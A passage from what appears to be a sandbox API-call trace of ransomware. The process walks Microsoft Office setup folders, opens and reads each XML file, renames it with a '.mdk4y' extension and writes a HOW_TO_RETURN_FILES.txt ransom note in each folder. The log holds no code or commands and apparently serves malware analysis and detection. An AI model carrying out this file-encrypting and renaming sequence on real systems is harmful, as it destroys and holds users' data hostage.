setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818506500000) returned 1 [0109.836] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5b2, lpOverlapped=0x0) returned 1 [0109.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818509800000) returned 1 [0109.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818509800000) returned 1 [0109.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.mdk4y")) returned 1 [0109.869] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0109.869] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0109.869] AreFileApisANSI () returned 1 [0109.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0109.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0109.869] GetFileType (hFile=0x13c) returned 0x1 [0109.870] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0109.870] AreFileApisANSI () returned 1 [0109.870] GetACP () returned 0x4e4 [0109.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proofing.en-us", cchWideChar=14, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Proofing.en-usus", lpUsedDefaultChar=0x37dec0) returned 14 [0109.871] AreFileApisANSI () returned 1 [0109.871] GetACP () returned 0x4e4 [0109.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=95, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\h") returned 95 [0109.871] AreFileApisANSI () returned 1 [0109.871] GetACP () returned 0x4e4 [0109.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\", lpUsedDefaultChar=0x37de34) returned 1 [0109.871] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.871] AreFileApisANSI () returned 1 [0109.871] GetACP () returned 0x4e4 [0109.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\", lpUsedDefaultChar=0x37de34) returned 2 [0109.871] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.871] AreFileApisANSI () returned 1 [0109.871] GetACP () returned 0x4e4 [0109.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Proofing.XML", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Proofing.XMLcrosoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\", lpUsedDefaultChar=0x37de34) returned 12 [0109.871] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818510200000) returned 1 [0109.872] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x32b, lpOverlapped=0x0) returned 1 [0109.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818514800000) returned 1 [0109.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818514800000) returned 1 [0109.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.mdk4y")) returned 1 [0109.920] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.920] AreFileApisANSI () returned 1 [0109.920] GetACP () returned 0x4e4 [0109.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLXML", lpUsedDefaultChar=0x37de34) returned 9 [0109.920] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818515000000) returned 1 [0109.920] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x16fc, lpOverlapped=0x0) returned 1 [0110.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818523800000) returned 1 [0110.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818523800000) returned 1 [0110.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.mdk4y")) returned 1 [0110.009] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0110.009] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0110.010] AreFileApisANSI () returned 1 [0110.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0110.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0110.013] GetFileType (hFile=0x13c) returned 0x1 [0110.014] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0110.014] AreFileApisANSI () returned 1 [0110.014] GetACP () returned 0x4e4 [0110.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROPLUSR", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PROPLUSR.en-us", lpUsedDefaultChar=0x37dec0) returned 8 [0110.014] AreFileApisANSI () returned 1 [0110.014] GetACP () returned 0x4e4 [0110.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=89, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned 89 [0110.079] AreFileApisANSI () returned 1 [0110.079] GetACP () returned 0x4e4 [0110.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0110.079] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.079] AreFileApisANSI () returned 1 [0110.079] GetACP () returned 0x4e4 [0110.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0110.079] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.079] AreFileApisANSI () returned 1 [0110.079] GetACP () returned 0x4e4 [0110.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProPlusrWW.XML", cchWideChar=14, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ProPlusrWW.XMLosoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", lpUsedDefaultChar=0x37de34) returned 14 [0110.079] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818531000000) returned 1 [0110.080] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x41d4, lpOverlapped=0x0) returned 1 [0110.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818539900000) returned 1 [0110.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818539900000) returned 1 [0110.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.mdk4y")) returned 1 [0110.170] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.170] AreFileApisANSI () returned 1 [0110.170] GetACP () returned 0x4e4 [0110.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLW.XML", lpUsedDefaultChar=0x37de34) returned 9 [0110.170] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818540000000) returned 1 [0110.170] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x7976, lpOverlapped=0x0) returned 1 [0110.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818546800000) returned 1 [0110.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818546800000) returned 1 [0110.239] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.mdk4y")) returned 1 [0110.240] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0110.240] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0110.240] AreFileApisANSI () returned 1 [0110.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0110.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0110.385] GetFileType (hFile=0x13c) returned 0x1 [0110.386] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0110.386] AreFileApisANSI () returned 1 [0110.386] GetACP () returned 0x4e4 [0110.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Publisher.en-us", cchWideChar=15, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Publisher.en-uss", lpUsedDefaultChar=0x37dec0) returned 15 [0110.386] AreFileApisANSI () returned 1 [0110.386] GetACP () returned 0x4e4 [0110.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b7c98, cbMultiByte=96, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\뀸j⒐j허j ") returned 96 [0110.388] AreFileApisANSI () returned 1 [0110.388] GetACP () returned 0x4e4 [0110.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".Controller\\PROPLUSR\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37de34) returned 1 [0110.388] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.388] AreFileApisANSI () returned 1 [0110.388] GetACP () returned 0x4e4 [0110.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..ontroller\\PROPLUSR\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37de34) returned 2 [0110.388] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.388] AreFileApisANSI () returned 1 [0110.388] GetACP () returned 0x4e4 [0110.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PublisherMUI.XML", cchWideChar=16, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PublisherMUI.XMLLUSR\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37de34) returned 16 [0110.450] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818568100000) returned 1 [0110.451] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5aa, lpOverlapped=0x0) returned 1 [0110.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818569300000) returned 1 [0110.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818569300000) returned 1 [0110.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.mdk4y")) returned 1 [0110.464] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.464] AreFileApisANSI () returned 1 [0110.464] GetACP () returned 0x4e4 [0110.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7d44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLMUI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0110.464] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818569500000) returned 1 [0110.465] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x648, lpOverlapped=0x0) returned 1 [0110.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818574000000) returned 1 [0110.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818574000000) returned 1 [0110.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.mdk4y")) returned 1 [0110.511] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0110.511] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0110.511] AreFileApisANSI () returned 1 [0110.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0110.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0110.513] GetFileType (hFile=0x13c) returned 0x1 [0110.514] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0110.514] AreFileApisANSI () returned 1 [0110.514] GetACP () returned 0x4e4 [0110.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.exe", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Setup.exe.en-us", lpUsedDefaultChar=0x37dec0) returned 9 [0110.514] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0110.514] AreFileApisANSI () returned 1 [0110.514] GetACP () returned 0x4e4 [0110.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Visio.en-us", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Visio.en-usn-us", lpUsedDefaultChar=0x37dec0) returned 11 [0110.514] AreFileApisANSI () returned 1 [0110.514] GetACP () returned 0x4e4 [0110.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=92, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned 92 [0110.515] AreFileApisANSI () returned 1 [0110.515] GetACP () returned 0x4e4 [0110.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpUsedDefaultChar=0x37de34) returned 1 [0110.515] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.515] AreFileApisANSI () returned 1 [0110.515] GetACP () returned 0x4e4 [0110.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpUsedDefaultChar=0x37de34) returned 2 [0110.515] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.515] AreFileApisANSI () returned 1 [0110.515] GetACP () returned 0x4e4 [0110.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XML\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpUsedDefaultChar=0x37de34) returned 9 [0110.515] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818574600000) returned 1 [0110.516] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x1861, lpOverlapped=0x0) returned 1 [0110.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818578300000) returned 1 [0110.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: 